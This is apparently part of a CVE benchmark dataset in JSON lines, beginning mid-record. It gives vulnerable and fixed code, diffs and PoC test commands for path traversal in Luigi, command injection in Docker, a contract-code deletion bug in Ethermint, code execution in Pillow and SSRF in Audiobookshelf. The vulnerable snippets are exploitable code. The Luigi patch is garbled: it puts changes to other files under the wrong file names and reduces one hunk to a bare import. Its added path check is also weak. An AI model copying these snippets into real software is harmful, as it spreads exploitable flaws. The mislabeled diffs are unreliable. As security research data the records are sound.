tar:\n        tar.extract(tarinfo)\n    tar.close()\n    if '' not in sys.path:\n        sys.path.insert(0, '')\n\n    os.chdir(curdir)"}], "fix_func": [{"id": "fix_py_36_1", "commit": "b5d1b96", "file_path": "luigi/contrib/lsf_runner.py", "start_line": 31, "end_line": 31, "snippet": "from luigi.safe_extractor import SafeExtractor"}, {"id": "fix_py_36_2", "commit": "b5d1b96", "file_path": "luigi/contrib/lsf_runner.py", "start_line": 47, "end_line": 60, "snippet": "def extract_packages_archive(work_dir):\n    package_file = os.path.join(work_dir, \"packages.tar\")\n    if not os.path.exists(package_file):\n        return\n\n    curdir = os.path.abspath(os.curdir)\n\n    os.chdir(work_dir)\n    extractor = SafeExtractor(work_dir)\n    extractor.safe_extract(package_file)\n    if '' not in sys.path:\n        sys.path.insert(0, '')\n\n    os.chdir(curdir)"}, {"id": "fix_py_36_3", "commit": "b5d1b96", "file_path": "luigi/contrib/sge_runner.py", "start_line": 39, "end_line": 39, "snippet": "from luigi.safe_extractor import SafeExtractor"}, {"id": "fix_py_36_4", "commit": "b5d1b96", "file_path": "luigi/contrib/sge_runner.py", "start_line": 59, "end_line": 72, "snippet": "def _extract_packages_archive(work_dir):\n    package_file = os.path.join(work_dir, \"packages.tar\")\n    if not os.path.exists(package_file):\n        return\n\n    curdir = os.path.abspath(os.curdir)\n\n    os.chdir(work_dir)\n    extractor = SafeExtractor(work_dir)\n    extractor.safe_extract(package_file)\n    if '' not in sys.path:\n        sys.path.insert(0, '')\n\n    os.chdir(curdir)"}, {"id": "fix_py_36_5", "commit": "b5d1b96", "file_path": "luigi/safe_extractor.py", "start_line": 1, "end_line": 97, "snippet": "# -*- coding: utf-8 -*-\n#\n# Copyright 2012-2015 Spotify AB\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\"\"\"\nThis module provides a class `SafeExtractor` that offers a secure way to extract tar files while\nmitigating path traversal vulnerabilities, which can occur when files inside the archive are\ncrafted to escape the intended extraction directory.\n\nThe `SafeExtractor` ensures that the extracted file paths are validated before extraction to\nprevent malicious archives from extracting files outside the intended directory.\n\nClasses:\n    SafeExtractor: A class to securely extract tar files with protection against path traversal attacks.\n\nUsage Example:\n    extractor = SafeExtractor(\"/desired/directory\")\n    extractor.safe_extract(\"archive.tar\")\n\"\"\"\n\nimport os\nimport tarfile\n\n\nclass SafeExtractor:\n    \"\"\"\n    A class to safely extract tar files, ensuring that no path traversal\n    vulnerabilities are exploited.\n\n    Attributes:\n        path (str): The directory to extract files into.\n\n    Methods:\n        _is_within_directory(directory, target):\n            Checks if a target path is within a given directory.\n\n        safe_extract(tar_path, members=None, \\\\*, numeric_owner=False):\n            Safely extracts the contents of a tar file to the specified directory.\n    \"\"\"\n\n    def __init__(self, path=\".\"):\n        \"\"\"\n        Initializes the SafeExtractor with the specified directory path.\n\n        Args:\n            path (str): The directory to extract files into. Defaults to the current directory.\n        \"\"\"\n        self.path = path\n\n    @staticmethod\n    def _is_within_directory(directory, target):\n        \"\"\"\n        Checks if a target path is within a given directory.\n\n        Args:\n            directory (str): The directory to check against.\n            target (str): The target path to check.\n\n        Returns:\n            bool: True if the target path is within the directory, False otherwise.\n        \"\"\"\n        abs_directory = os.path.abspath(directory)\n        abs_target = os.path.abspath(target)\n        prefix = os.path.commonprefix([abs_directory, abs_target])\n        return prefix == abs_directory\n\n    def safe_extract(self, tar_path, members=None, *, numeric_owner=False):\n        \"\"\"\n        Safely extracts the contents of a tar file to the specified directory.\n\n        Args:\n            tar_path (str): The path to the tar file to extract.\n            members (list, optional): A list of members to extract. Defaults to None.\n            numeric_owner (bool, optional): If True, only the numeric owner will be used. Defaults to False.\n\n        Raises:\n            RuntimeError: If a path traversal attempt is detected.\n        \"\"\"\n        with tarfile.open(tar_path, 'r') as tar:\n            for member in tar.getmembers():\n                member_path = os.path.join(self.path, member.name)\n                if not self._is_within_directory(self.path, member_path):\n                    raise RuntimeError(\"Attempted Path Traversal in Tar File\")\n            tar.extractall(self.path, members, numeric_owner=numeric_owner)"}], "vul_patch": "--- a/luigi/contrib/lsf_runner.py\n+++ b/luigi/contrib/lsf_runner.py\n@@ -1,16 +1 @@\n-def extract_packages_archive(work_dir):\n-    package_file = os.path.join(work_dir, \"packages.tar\")\n-    if not os.path.exists(package_file):\n-        return\n-\n-    curdir = os.path.abspath(os.curdir)\n-\n-    os.chdir(work_dir)\n-    tar = tarfile.open(package_file)\n-    for tarinfo in tar:\n-        tar.extract(tarinfo)\n-    tar.close()\n-    if '' not in sys.path:\n-        sys.path.insert(0, '')\n-\n-    os.chdir(curdir)\n+from luigi.safe_extractor import SafeExtractor\n\n--- a/luigi/contrib/sge_runner.py\n+++ b/luigi/contrib/lsf_runner.py\n@@ -1,4 +1,4 @@\n-def _extract_packages_archive(work_dir):\n+def extract_packages_archive(work_dir):\n     package_file = os.path.join(work_dir, \"packages.tar\")\n     if not os.path.exists(package_file):\n         return\n@@ -6,10 +6,8 @@\n     curdir = os.path.abspath(os.curdir)\n \n     os.chdir(work_dir)\n-    tar = tarfile.open(package_file)\n-    for tarinfo in tar:\n-        tar.extract(tarinfo)\n-    tar.close()\n+    extractor = SafeExtractor(work_dir)\n+    extractor.safe_extract(package_file)\n     if '' not in sys.path:\n         sys.path.insert(0, '')\n \n\n--- /dev/null\n+++ b/luigi/contrib/lsf_runner.py\n@@ -0,0 +1 @@\n+from luigi.safe_extractor import SafeExtractor\n\n--- /dev/null\n+++ b/luigi/contrib/lsf_runner.py\n@@ -0,0 +1,14 @@\n+def _extract_packages_archive(work_dir):\n+    package_file = os.path.join(work_dir, \"packages.tar\")\n+    if not os.path.exists(package_file):\n+        return\n+\n+    curdir = os.path.abspath(os.curdir)\n+\n+    os.chdir(work_dir)\n+    extractor = SafeExtractor(work_dir)\n+    extractor.safe_extract(package_file)\n+    if '' not in sys.path:\n+        sys.path.insert(0, '')\n+\n+    os.chdir(curdir)\n\n--- /dev/null\n+++ b/luigi/contrib/lsf_runner.py\n@@ -0,0 +1,97 @@\n+# -*- coding: utf-8 -*-\n+#\n+# Copyright 2012-2015 Spotify AB\n+#\n+# Licensed under the Apache License, Version 2.0 (the \"License\");\n+# you may not use this file except in compliance with the License.\n+# You may obtain a copy of the License at\n+#\n+# http://www.apache.org/licenses/LICENSE-2.0\n+#\n+# Unless required by applicable law or agreed to in writing, software\n+# distributed under the License is distributed on an \"AS IS\" BASIS,\n+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n+# See the License for the specific language governing permissions and\n+# limitations under the License.\n+#\n+\n+\"\"\"\n+This module provides a class `SafeExtractor` that offers a secure way to extract tar files while\n+mitigating path traversal vulnerabilities, which can occur when files inside the archive are\n+crafted to escape the intended extraction directory.\n+\n+The `SafeExtractor` ensures that the extracted file paths are validated before extraction to\n+prevent malicious archives from extracting files outside the intended directory.\n+\n+Classes:\n+    SafeExtractor: A class to securely extract tar files with protection against path traversal attacks.\n+\n+Usage Example:\n+    extractor = SafeExtractor(\"/desired/directory\")\n+    extractor.safe_extract(\"archive.tar\")\n+\"\"\"\n+\n+import os\n+import tarfile\n+\n+\n+class SafeExtractor:\n+    \"\"\"\n+    A class to safely extract tar files, ensuring that no path traversal\n+    vulnerabilities are exploited.\n+\n+    Attributes:\n+        path (str): The directory to extract files into.\n+\n+    Methods:\n+        _is_within_directory(directory, target):\n+            Checks if a target path is within a given directory.\n+\n+        safe_extract(tar_path, members=None, \\\\*, numeric_owner=False):\n+            Safely extracts the contents of a tar file to the specified directory.\n+    \"\"\"\n+\n+    def __init__(self, path=\".\"):\n+        \"\"\"\n+        Initializes the SafeExtractor with the specified directory path.\n+\n+        Args:\n+            path (str): The directory to extract files into. Defaults to the current directory.\n+        \"\"\"\n+        self.path = path\n+\n+    @staticmethod\n+    def _is_within_directory(directory, target):\n+        \"\"\"\n+        Checks if a target path is within a given directory.\n+\n+        Args:\n+            directory (str): The directory to check against.\n+            target (str): The target path to check.\n+\n+        Returns:\n+            bool: True if the target path is within the directory, False otherwise.\n+        \"\"\"\n+        abs_directory = os.path.abspath(directory)\n+        abs_target = os.path.abspath(target)\n+        prefix = os.path.commonprefix([abs_directory, abs_target])\n+        return prefix == abs_directory\n+\n+    def safe_extract(self, tar_path, members=None, *, numeric_owner=False):\n+        \"\"\"\n+        Safely extracts the contents of a tar file to the specified directory.\n+\n+        Args:\n+            tar_path (str): The path to the tar file to extract.\n+            members (list, optional): A list of members to extract. Defaults to None.\n+            numeric_owner (bool, optional): If True, only the numeric owner will be used. Defaults to False.\n+\n+        Raises:\n+            RuntimeError: If a path traversal attempt is detected.\n+        \"\"\"\n+        with tarfile.open(tar_path, 'r') as tar:\n+            for member in tar.getmembers():\n+                member_path = os.path.join(self.path, member.name)\n+                if not self._is_within_directory(self.path, member_path):\n+                    raise RuntimeError(\"Attempted Path Traversal in Tar File\")\n+            tar.extractall(self.path, members, numeric_owner=numeric_owner)\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-21542:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/luigi\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2024-21542/bin/python -m pytest hand_test.py test/safe_extractor_test.py -xvs\n", "unit_test_cmd": null}
{"cve_id": "CVE-2019-13139", "cve_description": "In Docker before 18.09.4, an attacker who is capable of supplying or manipulating the build path for the \"docker build\" command would be able to gain command execution. An issue exists in the way \"docker build\" processes remote git URLs, and results in command injection into the underlying \"git clone\" command, leading to code execution in the context of the user executing the \"docker build\" command. This occurs because git ref can be misinterpreted as a flag.", "cwe_info": {"CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}}, "repo": "https://github.com/moby/moby", "patch_url": ["https://github.com/moby/moby/commit/a588898f99d697e5ff481ecb3b273f45410f10e6"], "programing_language": "Go", "vul_func": [{"id": "vul_go_176_1", "commit": "639880e", "file_path": "builder/remotecontext/git/gitutils.go", "start_line": 78, "end_line": 106, "snippet": "func parseRemoteURL(remoteURL string) (gitRepo, error) {\n\trepo := gitRepo{}\n\n\tif !isGitTransport(remoteURL) {\n\t\tremoteURL = \"https://\" + remoteURL\n\t}\n\n\tvar fragment string\n\tif strings.HasPrefix(remoteURL, \"git@\") {\n\t\t// git@.. is not an URL, so cannot be parsed as URL\n\t\tparts := strings.SplitN(remoteURL, \"#\", 2)\n\n\t\trepo.remote = parts[0]\n\t\tif len(parts) == 2 {\n\t\t\tfragment = parts[1]\n\t\t}\n\t\trepo.ref, repo.subdir = getRefAndSubdir(fragment)\n\t} else {\n\t\tu, err := url.Parse(remoteURL)\n\t\tif err != nil {\n\t\t\treturn repo, err\n\t\t}\n\n\t\trepo.ref, repo.subdir = getRefAndSubdir(u.Fragment)\n\t\tu.Fragment = \"\"\n\t\trepo.remote = u.String()\n\t}\n\treturn repo, nil\n}"}, {"id": "vul_go_176_2", "commit": "639880e", "file_path": "builder/remotecontext/git/gitutils.go", "start_line": 120, "end_line": 128, "snippet": "func fetchArgs(remoteURL string, ref string) []string {\n\targs := []string{\"fetch\"}\n\n\tif supportsShallowClone(remoteURL) {\n\t\targs = append(args, \"--depth\", \"1\")\n\t}\n\n\treturn append(args, \"origin\", ref)\n}"}], "fix_func": [{"id": "fix_go_176_1", "commit": "a588898", "file_path": "builder/remotecontext/git/gitutils.go", "start_line": 78, "end_line": 111, "snippet": "func parseRemoteURL(remoteURL string) (gitRepo, error) {\n\trepo := gitRepo{}\n\n\tif !isGitTransport(remoteURL) {\n\t\tremoteURL = \"https://\" + remoteURL\n\t}\n\n\tvar fragment string\n\tif strings.HasPrefix(remoteURL, \"git@\") {\n\t\t// git@.. is not an URL, so cannot be parsed as URL\n\t\tparts := strings.SplitN(remoteURL, \"#\", 2)\n\n\t\trepo.remote = parts[0]\n\t\tif len(parts) == 2 {\n\t\t\tfragment = parts[1]\n\t\t}\n\t\trepo.ref, repo.subdir = getRefAndSubdir(fragment)\n\t} else {\n\t\tu, err := url.Parse(remoteURL)\n\t\tif err != nil {\n\t\t\treturn repo, err\n\t\t}\n\n\t\trepo.ref, repo.subdir = getRefAndSubdir(u.Fragment)\n\t\tu.Fragment = \"\"\n\t\trepo.remote = u.String()\n\t}\n\n\tif strings.HasPrefix(repo.ref, \"-\") {\n\t\treturn gitRepo{}, errors.Errorf(\"invalid refspec: %s\", repo.ref)\n\t}\n\n\treturn repo, nil\n}"}, {"id": "fix_go_176_2", "commit": "a588898", "file_path": "builder/remotecontext/git/gitutils.go", "start_line": 125, "end_line": 133, "snippet": "func fetchArgs(remoteURL string, ref string) []string {\n\targs := []string{\"fetch\"}\n\n\tif supportsShallowClone(remoteURL) {\n\t\targs = append(args, \"--depth\", \"1\")\n\t}\n\n\treturn append(args, \"origin\", \"--\", ref)\n}"}], "vul_patch": "--- a/builder/remotecontext/git/gitutils.go\n+++ b/builder/remotecontext/git/gitutils.go\n@@ -25,5 +25,10 @@\n \t\tu.Fragment = \"\"\n \t\trepo.remote = u.String()\n \t}\n+\n+\tif strings.HasPrefix(repo.ref, \"-\") {\n+\t\treturn gitRepo{}, errors.Errorf(\"invalid refspec: %s\", repo.ref)\n+\t}\n+\n \treturn repo, nil\n }\n\n--- a/builder/remotecontext/git/gitutils.go\n+++ b/builder/remotecontext/git/gitutils.go\n@@ -5,5 +5,5 @@\n \t\targs = append(args, \"--depth\", \"1\")\n \t}\n \n-\treturn append(args, \"origin\", ref)\n+\treturn append(args, \"origin\", \"--\", ref)\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-35936", "cve_description": "Ethermint is an Ethereum library. In Ethermint running versions before `v0.17.2`, the contract `selfdestruct` invocation permanently removes the corresponding bytecode from the internal database storage. However, due to a bug in the `DeleteAccount`function, all contracts that used the identical bytecode (i.e shared the same `CodeHash`) will also stop working once one contract invokes `selfdestruct`, even though the other contracts did not invoke the `selfdestruct` OPCODE. This vulnerability has been patched in Ethermint version v0.18.0. The patch has state machine-breaking changes for applications using Ethermint, so a coordinated upgrade procedure is required. A workaround is available. If a contract is subject to DoS due to this issue, the user can redeploy the same contract, i.e. with identical bytecode, so that the original contract's code is recovered. The new contract deployment restores the `bytecode hash -> bytecode` entry in the internal state.", "cwe_info": {"CWE-668": {"name": "Exposure of Resource to Wrong Sphere", "description": "The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource."}}, "repo": "https://github.com/evmos/ethermint", "patch_url": ["https://github.com/evmos/ethermint/commit/144741832007a26dbe950512acbda4ed95b2a451"], "programing_language": "Go", "vul_func": [{"id": "vul_go_58_2", "commit": "bead29c", "file_path": "x/evm/keeper/statedb.go", "start_line": 181, "end_line": 221, "snippet": "func (k *Keeper) DeleteAccount(ctx sdk.Context, addr common.Address) error {\n\tcosmosAddr := sdk.AccAddress(addr.Bytes())\n\tacct := k.accountKeeper.GetAccount(ctx, cosmosAddr)\n\tif acct == nil {\n\t\treturn nil\n\t}\n\n\t// NOTE: only Ethereum accounts (contracts) can be selfdestructed\n\tethAcct, ok := acct.(ethermint.EthAccountI)\n\tif !ok {\n\t\treturn sdkerrors.Wrapf(types.ErrInvalidAccount, \"type %T, address %s\", acct, addr)\n\t}\n\n\t// clear balance\n\tif err := k.SetBalance(ctx, addr, new(big.Int)); err != nil {\n\t\treturn err\n\t}\n\n\t// remove code\n\tcodeHashBz := ethAcct.GetCodeHash().Bytes()\n\tif !bytes.Equal(codeHashBz, types.EmptyCodeHash) {\n\t\tk.SetCode(ctx, codeHashBz, nil)\n\t}\n\n\t// clear storage\n\tk.ForEachStorage(ctx, addr, func(key, _ common.Hash) bool {\n\t\tk.SetState(ctx, addr, key, nil)\n\t\treturn true\n\t})\n\n\t// remove auth account\n\tk.accountKeeper.RemoveAccount(ctx, acct)\n\n\tk.Logger(ctx).Debug(\n\t\t\"account suicided\",\n\t\t\"ethereum-address\", addr.Hex(),\n\t\t\"cosmos-address\", cosmosAddr.String(),\n\t)\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_58_2", "commit": "1447418", "file_path": "x/evm/keeper/statedb.go", "start_line": 180, "end_line": 214, "snippet": "func (k *Keeper) DeleteAccount(ctx sdk.Context, addr common.Address) error {\n\tcosmosAddr := sdk.AccAddress(addr.Bytes())\n\tacct := k.accountKeeper.GetAccount(ctx, cosmosAddr)\n\tif acct == nil {\n\t\treturn nil\n\t}\n\n\t// NOTE: only Ethereum accounts (contracts) can be selfdestructed\n\t_, ok := acct.(ethermint.EthAccountI)\n\tif !ok {\n\t\treturn sdkerrors.Wrapf(types.ErrInvalidAccount, \"type %T, address %s\", acct, addr)\n\t}\n\n\t// clear balance\n\tif err := k.SetBalance(ctx, addr, new(big.Int)); err != nil {\n\t\treturn err\n\t}\n\n\t// clear storage\n\tk.ForEachStorage(ctx, addr, func(key, _ common.Hash) bool {\n\t\tk.SetState(ctx, addr, key, nil)\n\t\treturn true\n\t})\n\n\t// remove auth account\n\tk.accountKeeper.RemoveAccount(ctx, acct)\n\n\tk.Logger(ctx).Debug(\n\t\t\"account suicided\",\n\t\t\"ethereum-address\", addr.Hex(),\n\t\t\"cosmos-address\", cosmosAddr.String(),\n\t)\n\n\treturn nil\n}"}], "vul_patch": "--- a/x/evm/keeper/statedb.go\n+++ b/x/evm/keeper/statedb.go\n@@ -6,7 +6,7 @@\n \t}\n \n \t// NOTE: only Ethereum accounts (contracts) can be selfdestructed\n-\tethAcct, ok := acct.(ethermint.EthAccountI)\n+\t_, ok := acct.(ethermint.EthAccountI)\n \tif !ok {\n \t\treturn sdkerrors.Wrapf(types.ErrInvalidAccount, \"type %T, address %s\", acct, addr)\n \t}\n@@ -14,12 +14,6 @@\n \t// clear balance\n \tif err := k.SetBalance(ctx, addr, new(big.Int)); err != nil {\n \t\treturn err\n-\t}\n-\n-\t// remove code\n-\tcodeHashBz := ethAcct.GetCodeHash().Bytes()\n-\tif !bytes.Equal(codeHashBz, types.EmptyCodeHash) {\n-\t\tk.SetCode(ctx, codeHashBz, nil)\n \t}\n \n \t// clear storage\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-35936:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/ethermint\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd ./x/evm/keeper && go test  -timeout 30s -testify.m ^TestSuicide$ github.com/evmos/ethermint/x/evm/keeper\n", "unit_test_cmd": null}
{"cve_id": "CVE-2023-50447", "cve_description": "Pillow through 10.1.0 allows PIL.ImageMath.eval Arbitrary Code Execution via the environment parameter, a different vulnerability than CVE-2022-22817 (which was about the expression parameter).", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/python-pillow/Pillow", "patch_url": ["https://github.com/python-pillow/Pillow/commit/45c726fd4daa63236a8f3653530f297dc87b160a"], "programing_language": "Python", "vul_func": [{"id": "vul_py_347_1", "commit": "c3af2643ddddfc80a509a1060db253e7930c2adc", "file_path": "src/PIL/ImageMath.py", "start_line": 222, "end_line": 260, "snippet": "def eval(expression, _dict={}, **kw):\n    \"\"\"\n    Evaluates an image expression.\n\n    :param expression: A string containing a Python-style expression.\n    :param options: Values to add to the evaluation context.  You\n                    can either use a dictionary, or one or more keyword\n                    arguments.\n    :return: The evaluated expression. This is usually an image object, but can\n             also be an integer, a floating point value, or a pixel tuple,\n             depending on the expression.\n    \"\"\"\n\n    # build execution namespace\n    args = ops.copy()\n    args.update(_dict)\n    args.update(kw)\n    for k, v in args.items():\n        if hasattr(v, \"im\"):\n            args[k] = _Operand(v)\n\n    compiled_code = compile(expression, \"<string>\", \"eval\")\n\n    def scan(code):\n        for const in code.co_consts:\n            if type(const) is type(compiled_code):\n                scan(const)\n\n        for name in code.co_names:\n            if name not in args and name != \"abs\":\n                msg = f\"'{name}' not allowed\"\n                raise ValueError(msg)\n\n    scan(compiled_code)\n    out = builtins.eval(expression, {\"__builtins\": {\"abs\": abs}}, args)\n    try:\n        return out.im\n    except AttributeError:\n        return out"}], "fix_func": [{"id": "fix_py_347_1", "commit": "45c726fd4daa63236a8f3653530f297dc87b160a", "file_path": "src/PIL/ImageMath.py", "start_line": 222, "end_line": 264, "snippet": "def eval(expression, _dict={}, **kw):\n    \"\"\"\n    Evaluates an image expression.\n\n    :param expression: A string containing a Python-style expression.\n    :param options: Values to add to the evaluation context.  You\n                    can either use a dictionary, or one or more keyword\n                    arguments.\n    :return: The evaluated expression. This is usually an image object, but can\n             also be an integer, a floating point value, or a pixel tuple,\n             depending on the expression.\n    \"\"\"\n\n    # build execution namespace\n    args = ops.copy()\n    args.update(_dict)\n    args.update(kw)\n    for k, v in args.items():\n        if '__' in k or hasattr(__builtins__, k):\n            msg = f\"'{k}' not allowed\"\n            raise ValueError(msg)\n\n        if hasattr(v, \"im\"):\n            args[k] = _Operand(v)\n\n    compiled_code = compile(expression, \"<string>\", \"eval\")\n\n    def scan(code):\n        for const in code.co_consts:\n            if type(const) is type(compiled_code):\n                scan(const)\n\n        for name in code.co_names:\n            if name not in args and name != \"abs\":\n                msg = f\"'{name}' not allowed\"\n                raise ValueError(msg)\n\n    scan(compiled_code)\n    out = builtins.eval(expression, {\"__builtins\": {\"abs\": abs}}, args)\n    try:\n        return out.im\n    except AttributeError:\n        return out"}], "vul_patch": "--- a/src/PIL/ImageMath.py\n+++ b/src/PIL/ImageMath.py\n@@ -16,6 +16,10 @@\n     args.update(_dict)\n     args.update(kw)\n     for k, v in args.items():\n+        if '__' in k or hasattr(__builtins__, k):\n+            msg = f\"'{k}' not allowed\"\n+            raise ValueError(msg)\n+\n         if hasattr(v, \"im\"):\n             args[k] = _Operand(v)\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-51665", "cve_description": "Audiobookshelf is a self-hosted audiobook and podcast server. Prior to 2.7.0, Audiobookshelf is vulnerable to unauthenticated blind server-side request (SSRF) vulnerability in Auth.js. This vulnerability has been addressed in version 2.7.0. There are no known workarounds for this vulnerability.\n\n", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/advplyr/audiobookshelf", "patch_url": ["https://github.com/advplyr/audiobookshelf/commit/728496010cbfcee5b7b54001c9f79e02ede30d82"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_241_1", "commit": "4336714", "file_path": "server/Auth.js", "start_line": 272, "end_line": 376, "snippet": "    router.get('/auth/openid', (req, res, next) => {\n      try {\n        // helper function from openid-client\n        function pick(object, ...paths) {\n          const obj = {}\n          for (const path of paths) {\n            if (object[path] !== undefined) {\n              obj[path] = object[path]\n            }\n          }\n          return obj\n        }\n\n        // Get the OIDC client from the strategy\n        // We need to call the client manually, because the strategy does not support forwarding the code challenge\n        //    for API or mobile clients\n        const oidcStrategy = passport._strategy('openid-client')\n        const protocol = (req.secure || req.get('x-forwarded-proto') === 'https') ? 'https' : 'http'\n\n        let mobile_redirect_uri = null\n\n        // The client wishes a different redirect_uri\n        // We will allow if it is in the whitelist, by saving it into this.openIdAuthSession and setting the redirect uri to /auth/openid/mobile-redirect\n        //    where we will handle the redirect to it\n        if (req.query.redirect_uri) {\n          // Check if the redirect_uri is in the whitelist\n          if (Database.serverSettings.authOpenIDMobileRedirectURIs.includes(req.query.redirect_uri) ||\n           (Database.serverSettings.authOpenIDMobileRedirectURIs.length === 1 && Database.serverSettings.authOpenIDMobileRedirectURIs[0] === '*')) {\n            oidcStrategy._params.redirect_uri = new URL(`${protocol}://${req.get('host')}/auth/openid/mobile-redirect`).toString()\n            mobile_redirect_uri = req.query.redirect_uri\n          } else {\n            Logger.debug(`[Auth] Invalid redirect_uri=${req.query.redirect_uri} - not in whitelist`)\n            return res.status(400).send('Invalid redirect_uri')\n          }\n        } else {\n          oidcStrategy._params.redirect_uri = new URL(`${protocol}://${req.get('host')}/auth/openid/callback`).toString()\n        }\n\n        Logger.debug(`[Auth] Oidc redirect_uri=${oidcStrategy._params.redirect_uri}`)\n        const client = oidcStrategy._client\n        const sessionKey = oidcStrategy._key\n\n        let code_challenge\n        let code_challenge_method\n\n        // If code_challenge is provided, expect that code_verifier will be handled by the client (mobile app)\n        // The web frontend of ABS does not need to do a PKCE itself, because it never handles the \"code\" of the oauth flow\n        //    and as such will not send a code challenge, we will generate then one\n        if (req.query.code_challenge) {\n          code_challenge = req.query.code_challenge\n          code_challenge_method = req.query.code_challenge_method || 'S256'\n\n          if (!['S256', 'plain'].includes(code_challenge_method)) {\n            return res.status(400).send('Invalid code_challenge_method')\n          }\n        } else {\n          // If no code_challenge is provided, assume a web application flow and generate one\n          const code_verifier = OpenIDClient.generators.codeVerifier()\n          code_challenge = OpenIDClient.generators.codeChallenge(code_verifier)\n          code_challenge_method = 'S256'\n\n          // Store the code_verifier in the session for later use in the token exchange\n          req.session[sessionKey] = { ...req.session[sessionKey], code_verifier }\n        }\n\n        const params = {\n          state: OpenIDClient.generators.random(),\n          // Other params by the passport strategy\n          ...oidcStrategy._params\n        }\n\n        if (!params.nonce && params.response_type.includes('id_token')) {\n          params.nonce = OpenIDClient.generators.random()\n        }\n\n        req.session[sessionKey] = {\n          ...req.session[sessionKey],\n          ...pick(params, 'nonce', 'state', 'max_age', 'response_type'),\n          mobile: req.query.redirect_uri, // Used in the abs callback later, set mobile if redirect_uri is filled out\n          sso_redirect_uri: oidcStrategy._params.redirect_uri // Save the redirect_uri (for the SSO Provider) for the callback\n        }\n\n        // We cannot save redirect_uri in the session, because it the mobile client uses browser instead of the API\n        //   for the request to mobile-redirect and as such the session is not shared\n        this.openIdAuthSession.set(params.state, { mobile_redirect_uri: mobile_redirect_uri })\n\n        // Now get the URL to direct to\n        const authorizationUrl = client.authorizationUrl({\n          ...params,\n          scope: 'openid profile email',\n          response_type: 'code',\n          code_challenge,\n          code_challenge_method\n        })\n\n        // params (isRest, callback) to a cookie that will be send to the client\n        this.paramsToCookies(req, res)\n\n        // Redirect the user agent (browser) to the authorization URL\n        res.redirect(authorizationUrl)\n      } catch (error) {\n        Logger.error(`[Auth] Error in /auth/openid route: ${error}`)\n        res.status(500).send('Internal Server Error')\n      }\n    })"}, {"id": "vul_js_241_2", "commit": "4336714", "file_path": "server/Auth.js", "start_line": 474, "end_line": 495, "snippet": "    router.get('/auth/openid/config', async (req, res) => {\n      if (!req.query.issuer) {\n        return res.status(400).send('Invalid request. Query param \\'issuer\\' is required')\n      }\n      let issuerUrl = req.query.issuer\n      if (issuerUrl.endsWith('/')) issuerUrl = issuerUrl.slice(0, -1)\n\n      const configUrl = `${issuerUrl}/.well-known/openid-configuration`\n      axios.get(configUrl).then(({ data }) => {\n        res.json({\n          issuer: data.issuer,\n          authorization_endpoint: data.authorization_endpoint,\n          token_endpoint: data.token_endpoint,\n          userinfo_endpoint: data.userinfo_endpoint,\n          end_session_endpoint: data.end_session_endpoint,\n          jwks_uri: data.jwks_uri\n        })\n      }).catch((error) => {\n        Logger.error(`[Auth] Failed to get openid configuration at \"${configUrl}\"`, error)\n        res.status(error.statusCode || 400).send(`${error.code || 'UNKNOWN'}: Failed to get openid configuration`)\n      })\n    })"}], "fix_func": [{"id": "fix_js_241_1", "commit": "728496010cbfcee5b7b54001c9f79e02ede30d82", "file_path": "server/Auth.js", "start_line": 272, "end_line": 376, "snippet": "    router.get('/auth/openid', (req, res, next) => {\n      try {\n        // helper function from openid-client\n        function pick(object, ...paths) {\n          const obj = {}\n          for (const path of paths) {\n            if (object[path] !== undefined) {\n              obj[path] = object[path]\n            }\n          }\n          return obj\n        }\n\n        // Get the OIDC client from the strategy\n        // We need to call the client manually, because the strategy does not support forwarding the code challenge\n        //    for API or mobile clients\n        const oidcStrategy = passport._strategy('openid-client')\n        const protocol = (req.secure || req.get('x-forwarded-proto') === 'https') ? 'https' : 'http'\n\n        let mobile_redirect_uri = null\n\n        // The client wishes a different redirect_uri\n        // We will allow if it is in the whitelist, by saving it into this.openIdAuthSession and setting the redirect uri to /auth/openid/mobile-redirect\n        //    where we will handle the redirect to it\n        if (req.query.redirect_uri) {\n          // Check if the redirect_uri is in the whitelist\n          if (Database.serverSettings.authOpenIDMobileRedirectURIs.includes(req.query.redirect_uri) ||\n            (Database.serverSettings.authOpenIDMobileRedirectURIs.length === 1 && Database.serverSettings.authOpenIDMobileRedirectURIs[0] === '*')) {\n            oidcStrategy._params.redirect_uri = new 